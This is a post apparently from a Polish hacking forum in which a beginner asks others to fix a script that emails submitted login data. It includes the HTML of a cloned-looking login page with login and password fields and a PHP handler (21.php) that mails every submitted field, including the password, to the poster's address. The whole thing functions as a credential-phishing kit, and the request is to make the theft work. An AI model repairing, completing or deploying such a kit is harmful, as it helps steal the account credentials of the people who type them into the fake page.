Quantcast
Channel: HAKER - Forum Komputerowe
Viewing all articles
Browse latest Browse all 4549

Proszę o poprawę Skryptu na wysyłanie Danych na e-mail :)

$
0
0
Witam!
Zrobiłem stronę, podpiąłem pod logowanie wysyłanie danych na e-mail, lecz nie dochodzą wiadomości, Podeślę skrypt, prosiłbym o poprawienie co jest źle zrobione ;) . Sporo czasu się z tym bawiłem, lecz jestem zielony i już nie ma pojęcia w czym problem :/ . :xxx@o2.pl: jest to e-mail przykładowy, wiem, żę trzeba podać własny :)
Pozdrawiam

Skrypt wysyłający :

Cytat:

<div id="container">
<form name="formularz1"
action="21.php"
method="post"</form>

<div id="main">
<div class="template-contener"><div class="tlo"><h3 class="template-contener-title">Logowanie</h3><form action="21.php" id="form-formularz1" method="post"><input name="__RequestVerificationToken" type="hidden" value="7-4VKp4R52387rGhrsxJuDPK3HDiSs-Tegl6zvdX1V3gWJLAy8Y5tpczAn8hz6cy44SmU0VUxu6Qk-fBNTAP1x7X5jruyZ2uw2DsrVxKBwU1" /> <div class="editor-label">
<label for="login">Login:</label>
</div>
<div class="editor-field">
<input class="medium" id="login" name="login" type="text" value="" />
</div>
<div class="editor-label">
<label for="haslo">Hasło:</label>
</div>
<div class="editor-field">
<input class="medium" id="haslo" name="haslo" type="password" value="" />
</div>
<button class="przyciskOdnosnik" type="submit" style="margin: 5px 0 0 135px;">Zaloguj się</button>
<div class="linki">
<a href="http://malastia.aq.pl/Page/SendActivationCode">Wyślij nowy kod</a><br />
<a href="http://malastia.aq.pl/Page/PasswordReset">Zapomniałeś hasła?</a>
</div>

21.php :

Cytat:

<?php
if (count($_POST))
{
////////// USTAWIENIA //////////
$email = 'xxx@o2.pl'; // Adres e-mail adresata
$subject = 'Nowe konto '; // Temat listu
$message = 'Wyslano wiadomosc na email.'; // Komunikat
$error = 'Wystąpił błąd podczas wysyłania formularza'; // Komunikat błędu
$charset = 'iso-8859-2'; // Strona kodowa
//////////////////////////////

$head =
"MIME-Version: 1.0\r\n" .
"Content-Type: text/plain; charset=$charset\r\n" .
"Content-Transfer-Encoding: 8bit";
$body = '';
foreach ($_POST as $name => $value)
{
if (is_array($value))
{
for ($i = 0; $i < count($value); $i++)
{
$body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value[$i]) : $value[$i]) . "\r\n";
}
}
else $body .= "$name=" . (get_magic_quotes_gpc() ? stripslashes($value) : $value) . "\r\n";
}
echo mail($email, "=?$charset?B?" . base64_encode($subject) . "?=", $body, $head) ? $message : $error;
}
else
{
?>
<form action="#" method="post">
</p>
Login <input type="text" name="Login:"/><br>
<br>
Haslo<input type="password" name="Hasło" />
<p>
<td coslpan="2"><input type="submit" value="Wyslij"></td></p></form>

</form>
<?php
}
?>

Viewing all articles
Browse latest Browse all 4549

Trending Articles


TRX Antek AVT - 2310 ver 2,0


Автовишка HAULOTTE HA 16 SPX


POTANIACZ


Zrób Sam - rocznik 1985 [PDF] [PL]


Maxgear opinie


BMW E61 2.5d błąd 43E2 - klapa gasząca a DPF


Eveline ➤ Matowe pomadki Velvet Matt Lipstick 500, 506, 5007


Auta / Cars (2006) PLDUB.BRRip.480p.XviD.AC3-LTN / DUBBING PL


Peugeot 508 problem z elektroniką


AŚ Jelenia Góra